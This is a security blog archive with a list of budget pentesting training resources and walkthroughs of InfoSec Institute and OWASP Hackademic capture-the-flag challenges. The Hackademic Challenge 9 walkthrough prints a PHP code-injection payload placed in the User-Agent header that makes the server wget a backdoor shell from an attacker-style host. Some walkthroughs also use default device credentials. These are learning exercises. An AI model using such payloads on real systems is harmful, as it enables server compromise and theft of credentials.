hacking, web application security

How to Get Started in Pentesting #infosec, #pentesting, #appsec, #security @j0emccray, @infosecaddicts, @ppentestlabs, @pentesterlab, @blackroomsec, @securitytube

Happy Hacking!

Today’s blog post will be on how to get started with pentesting… on a budget.

If you’re following or reading my twitter timeline (@devsecopsgrl007), you will know that I am currently taking SANS SEC542 – Web App Penetration Testing. I am doing this class OnDemand (online), and I have access to the training for 4 months, along with two practice tests, and the certification (once I pass, putting it into existence!) While this course is GREAT, it is EXPENSIVE!

I know if you’re a student, this is WAY out of your price range. So, I would like to list alternatives where you will learn the same content, but it might take you a bit longer.

So without further ado here’s my list:

  1. Skillshare has a Ethical Hacking package that is $19 for 8 courses. These courses original value was $1,273 – which is a 99% savings. You can buy the class HERE.
  2. There’s a book that is the holy grail for Web Pentesting called, “The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” This book has a lab accompanied with the book that is $7/hour. You can buy the book HERE.
  3. Another book, Penetration Testing Essentials, is another GREAT book. It gives an overview of the different concepts of pentesting. You can buy the book HERE.
  4. Joe McCray has a Pentester Candidate Program that is also a GREAT program. Follow Joe on twitter (j0emccray) or his program – @infosecaddicts
  5. PentesterLab has a program – PentesterLabPro where you can pay $19.99/month, or pay for a year and get two months free. More information can be found HERE. PentesterLab also has a bootcamp which is free. More information can be found HERE.
  6. PentesterAcademy has a monthly subscription for $39.99/month. The good thing about PentesterAcademy is they have A LOT of information. Web App Pentesting, Python, etc. More information can be found HERE.
  7. PracticalPentestLab has a promotion where you can pay a one time fee of $42.99 to get the VIP content which has subjects in pentesting, windows exploit, etc. You can contact them on twitter @ppentestlabs. More information can be found HERE.
  8. Hacking-Lab is a free online platform where you can learn hacking skills. More information can be found HERE.
  9. Cybrary is another free website that has an assortment of courses. More information can be found HERE.
  10. PicoCTF is an online CTF platform that is geared towards high school students, but it’s open to anyone. All you need to do is sign-up. More information can be found HERE.

Another big piece is to practice the skills that you have learned.

To do this you will need vulnerable machines to hack 🙂

One of my favorites is HackTheBox which has an assortment of machines. More information can be found HERE. Note: That you will need to hack the site to get the invite code.

Another website that I love is VulnHub. VulnHub has an assortment of machines. The good thing about VulnHub is that some of the machines have been used in CTFs and other security conferences. More information can be found HERE.

The next website is my favorite, called OverTheWire. OverTheWire is a website that has multiple challenges in different areas, web app pentesting, linux, etc. More information can be found HERE.

There’s another website RootMe which is a free online platform to practice pentesting. More information can be found HERE.

I can’t stress enough that you will need to practice. The old adage holds true in this case, practice makes perfect.

Finally, please follow @blackroomsec on twitter who’s a sweetheart! She has a website that lists even more free or inexpensive opportunities to learn pentesting.

 

capture the flag, hacking, web application security

InfoSec Institute CTF Challenge #14

Another day, another challenge.

Today’s challenge comes from the InfoSec Institute CTF program.

Going to the following link we see the following:

infosec_14_intro

Doing a right click, view page source we see the following:

infosec_14_page_source

Hmm… there’s a file, titled level14 inside the misc folder. Let’s go that file and see what’s there…

Going to the file we see the following:

infosec_14_php_sql_dump

Hmm… it looks like we have a SQL dump that’s showing us all the tables and values inside of a php application.

Scrolling down we see something that looks interesting, and strange…

infosec_14_encoding

Could this be some type of encoding? Possibly hexadecimal encoding?

First, we don’t need the double forward slash, we just need one. Removing the extra slashes we get the following:

infosec_14_encoding_remove_slash

Using a Hex to ASCII converter here, we get:

infosec_14_solved

We found the flag – infosec_flagis_whatsorceryisthis

Lessons learned:

Our trick still works! We were able to find valuable information when looking at the page source. Going to the file listed we noticed it was a dump of SQL tables. Looking through the tables we noticed suspicious output, which we guessed was some type of encoding. Using information we learned from a previous challenge we were able to deduce that the encoding was hexadecimal encoding. From there we were able to find the flag.

capture the flag, hacking, web application security

InfoSec Institute CTF #13

Another day, another challenge…

Today’s challenge is from the InfoSec Institute.

Going to the following link, we see the following:

infosec_13_intro

Doing a right click, view page source we see the following:

infosec_13_page_source

So from the hint we’re looking for a back-up file.

Since this is on a Linux box, let’s see what what the naming conventions are for backup files.

Let’s see if there’s a backup folder.

infosec_13_backup

That led us to a dead-end.

Let’s try adding .old at the end of the file.

Adding the “.old” at the end of the URL and pressing enter we get the following:

infosec_13_old

Hmm… this looks like another file. Let’s open it.

Opening the file in a text editor we get the following:

infosec_13_hidden_content

Looking at the file we see the the first paragraph, which matches our first screenshot.

Next we see commented out code, that is asking us to download a mysterious file, “iamadecoy”.

Let’s navigate to this file and see what we find.

After the file downloads, we try to open it.

Hmm… that’s weird when clicking on the file a prompt is shown asking what type of file this is.

Since we don’t know what type of file it is, let’s go to this site here, to find out.

After uploading our file we determine that is a pcap file.

infosec_13_pcap

We’re going to need Wireshark for this one…
Opening Wireshark, and opening our file we’re presented with the following:

infosec_13_wireshark

The beginning of the file is DNS queries that are rejected we can ignore that.

Searching through the file we notice some HTTP requests that are getting files, in particular – HoneyPy.png

Going to packet 633

infosec_13_wireshark_633

We can reconstruct this exchange.

Going to File –> Export Objects –> HTTP

We get the following:

infosec_13_wireshark_http_objects

Our file is highlighted in the above screenshot, so let’s click Save.

Opening the file we get our flag!

infosec_13_flag

Lessons learned:

Use the hints that are provided! We knew that the file we were looking for was a backup.  After playing around with the filenames we discovered that the file we were looking for ended in an “.old”. Once we opened the file we noticed there was another file “imadecoy”. After downloading that file and trying to open it our operating system was confused on the file type. Uploading our file to the above link we determined that the file had a pcap (packet capture) extension, and we would need to use Wireshark.

Opening Wireshark, we determined that the file we needed was inside of an HTTP packet. Reconstructing the packet we were able to download the file we needed. After opening that file we received our flag. This challenge was a multi-step process. It’s very important to pay attention to detail.

 

capture the flag, hacking, web application security

InfoSec Institute Challenge #12

Another day, another challenge.

Today’s challenge is coming from the InfoSec Institute.

Going to the following link we see the following:

infosec_12_intro

Doing a right click, view page source we see the following:

infosec_12_css

We noticed there’s an extra CSS (Cascading Style Sheets).  Let’s see what’s in this file.

Going to the file we see the following:

infosec_12_css_opened

Hmm… this looks interesting. Knowing a thing or two about CSS, the colors are represented in hex (hexadecimal, base 16) form. More can be found here.

I’m thinking this is the actual flag, but it’s just encoded.

Using out knowledge from other challenges, let’s try base64 decoding, since it has worked before.

Going to the link here, and typing in the encoding we get the following:

infosec_12_base_64_decoding

Our decoding wasn’t successful. This encoding is not base64.

Going back to the challenge, we know that CSS uses hexadecimal to represent colors.

Maybe the encoding is in hexadecimal form.

Going to Google and typing in “converting hexadecimal to text” we get the following link.

Putting our encoding in the text box and changing the decoding to “hexadecimal to text” we get the following:

infosec_12_flag

We found the flag!

Lessons learned:

Attention to detail! We noticed that there was another file when we did the right click, view page source. Going to that page we noticed that there was encoding. We first tried base64 which did not work. Going back to the drawboard on how CSS works, we know the colors are represented in hexadecimal. Doing a Google search of hexadecimal to text we were able to find the flag.

 

capture the flag, hacking, web application security

InfoSec Institute CTF Challenge #11

Another day, another challenge.

Today’s challenge is from the InfoSec Institute CTF.

Going to the following LINK we see:

infosec_11_beginning

Doing our favorite trick of right click, view page source we see the following:

infosec_11_pagesource

We see an image of “php-logo-virus.jpg” hmm… what happens when we click this file?

We see the following:

infosec_11_php_virus_picture

Looks like a simple file… looks can be deceiving.

Just going from the title of the file, there’s something in this file that we’re not seeing.

Let’s use our trick from the last challenge of using strings to see if this is a true file.

Using the strings command inside our cygwin terminal we see the following:

infosec_11_strings

Hmm… we see the beginning part of the flag. The last looks like encoding.

Let’s try to decode it.

One of the encoding we’ve seen in the challenges have been base64 encoding, so let’s use that to see if we can decode the message.

Going to this link, and typing in the encoding we see the following:

infosec_11_powershell

We’re presented with a link. Going to that link we see the following:

infosec_11_powerslide

Combining the this with the beginning of the flag, we get infosec_flagis_powerslide!

Lessons learned:

Most of these challenges build on top of each. We still used our tried and true right click, view page source to see if there are any nuggets that were not shown on the page. We noticed there was a file. Looking at the name, we determined that there was more than what met the eye. Using another command we learned – strings we were able to see that the flag was embedded in picture, but it was encoded. Using previous knowledge, we noticed that previous challenges used base64 encoding so we used that (base64) to see if we can decode the text. After decoding we went to the link and used the image to complete the flag.

capture the flag, hacking, web application security

InfoSec Institute CTF Challenge #9

Another day, another challenge…

Today’s challenge will be #9 from the InfoSec Institute CTF.

Going HERE we’re presented with the following:

infosec_9_intro

Doing our handy source of right clicking viewing the page source we see the following:

infosec_9_pagesource

We see that there’s a form that takes a username and password.

Using the hint from the challenge we know we’re looking for a CISCO IDS login.

Going to Google and typing in “common username and password for CISCO IDS” we’re presented with the following link.

Searching the link for username and passwords we see the following:

infosec_9_username_passwords

Going back to our login screen and entering the first username of “netangr” and password “attack” we get the following:

infosec_9_netangr

The username and password didn’t work 🙁

Let’s try the second username of “root” and password of “attack”.

infosec_9_root

We’re presented with the flag… but it looks like gibberish.

infosec_9_flag

Inspecting the flag closely we noticed that it is backwards.

The flag is infosec_flagis_defaultpass!

Lesson learned:

Our handy trick of looking at the page source did not work. It revealed that challenge was using a form. Looking at the webpage we noticed that there is a hint – CISCO IDS. Using this information we know that most devices have a default username and password. Going to Google we found the webpage that listed a default username and password. The first username did not work, second one did. From that we found the flag even though to the naked eye one might ignore it. Looking at the flag again we noticed that the flag was written backwards. After putting the flag in the correct order we were able to see it.

capture the flag, hacking, web application security

InfoSec Institute CTF Challenge #7

Another day, another challenge…

Today’s challenge will be exploring InfoSec Institute CTF Challenge #7.

Going to the following link we’re presented with the following:

infosec_7_beginning

Doing a right click we see the following:

infosec_7_pagesource

Hmm… this doesn’t provide us with any information.

Going to the developer tools (F12) we see the following:

infosec_7_developertools

Still not giving us a lot of information.

Next – we’re going to use Zap to spider the site to see if we can get anymore information.

To configure ZAP, review the following link HERE.

Spidering the site we’re still not seeing a lot of information…

infosec_7_zapproxy

Looking at the other pages of the challenge we notice that it is “level<number>” Let’s try to change from the 404.php to levelseven.php, and see what we get.

Changing the site we see a blank page:

infosec_7_levelseven

Going back to ZAP we see the following:

infosec_7_levelseven_ZAP

Looking at the response we notice that the levelseven.php returns a 200 “OK” status. Next to the status we see weird encoding. Looking at the end of the encoding it ends in “==”. Could this be base 64 encoding, let’s try it.

Going to Google, and typing in “base 64 decoder” we get the following link.

Putting in our encoding we get the following:
infosec_7_flagfound

We found the flag – infosec_flagis_youfoundit!

Lessons learned:

Don’t depend on one solution. You should have multiple tools in your tool belt! We tried the view page source, but that didn’t work. Looking at the network traffic inside the developer tools did not help either. When all else fails, we can use a proxy. After configuring the proxy we still noticed that we didn’t see anything. When we realized that the page did not follow the pattern of the other pages in the ctf challenge we decided to go to the real level seven page. Once we did this (with our intercepting proxy on) we noticed that we received a valid response with special 64 encoding. Decoding this, we were presented with the flag! The developer tried to do security through obscurity by presenting us with a red herring in the 404.php page. Security through obscurity doesn’t work as we found out the pattern of the challenge and was able to solve the challenge.

capture the flag, hacking, web application security

OWASP Hackademic Challenge 9

Another day, another challenge.

Today’s post will be on the ninth challenge from the OWASP Hackademic Challenge.

Below is the scenario:

A friend of yours has set up a news blog at slagoff.com. However, he is kind of worried regarding the security of the news that gets posted on the blog and has asked you to check how secure it is.

Your objective is to determine whether any vulnerabilities exist that, if exploited, can grant access to the blog’s server.

Hint: A specially-tailored backdoor shell can be found at “http://www.really_nasty_hacker.com/shell.txt“.

Below is the solution

Clicking the first link we are presented with the following screen:

challenge9intro

Doing a right click, view page source we get the following:

challenge9pagesource

We noticed there’s a hidden field with the value of answer.php, with a name of page. Hmm… let’s see if we can access this page.

Putting the following address in the URL bar it seems we cannot access the file.

challenge9answerphpnotfound

From the description we know that we need to upload a file from http://www.really_nasty_hacker.com/shell.txt

We know that our page is using php. Let’s see if we can modify the User-Agent using php syntax.

Opening Tamper Data after we enter the comment we’re presented with the following:

challenge9tamperdatapart2

Changing the User-Agent to:

<?system(“wget http://www.really_nasty_hacker.com/shell.txt&#8221;);?>

Pressing “OK” we get the following:

challenge9successful

Our script was uploaded successfully!

Going to the new site we see the following:

challenge9commandline

Hmm… We’re presented with a command line similar to challenge 8!

Let’s do a ls to see what we have on the file system.

challenge9lsoutput

Well we see that there is a file named “sUpErDuPErL33T.txt”

Let’s see what’s in this file.

challenge9logininfo

We’re presented with login information.

Looking back at the command file we see the following file adminpanel.php

Going to that file we see the following:

challenge9adminportalphp

An admin portal!

Let’s enter our login information and see what we get:

challenge9adminportallogin

challenge9congrats

We passed the challenge!!!

Lessons learned:

We did our right click view page source which showed that we had a hidden file named answer.php. Trying to access this file didn’t help us. Next changing the user agent we were able to upload our file to the file system. Going to the file on the file system we noticed that the file allows us to execute commands. Executing the commands were able to find the login information and login successfully.

Use the knowledge you’ve learned to solve the next challenge. We were first introduced to user-agents in challenge #5 with the p0wnbrowser product. We know that we can change the user-agent to show content that we would’ve never noticed.

hacking, owasp, web application security

OWASP Hackademic Challenge 5

Another day, another challenge…

What’s the challenge today? Challenge 5 of 10 from OWASP Hackademic.

Scenario below:

You need to get access to the contents of this SITE. In order to achieve this, however, you must buy the “p0wnBrowser” web browser. Since it is too expensive, you will have to “fool” the system in some way, so that it let you read the site’s contents.

Walk through below:

Going to the website we get the following:

challenge5

Viewing page source we see the following:

challenge5pagesource

So… the page source is not helping us as there are no gems.

Let’s look at Tamper Data.
Reloading the page and press “Tamper” we get the following:

challenge5tamperdata

We don’t have any POST data to change, but we do have request headers that we can change. One field looks interesting User-Agent.

The user-agent describes the type of browser that you are using. More can be learned about user-agent HERE.

If we change the user-agent to p0wnBrowser (since we are trying to trick the user to view the contents). Changing the user-agent we get the following:

challenge5p0wnbrowser

challenge5congrats

Lesson learned:

In this case we did not have POST data (response) to change, but we did have GET data (request) to change. Looking at the different headers the user-agent jumps out as one to change. Once again, if you’re stuck, Google is the way to go!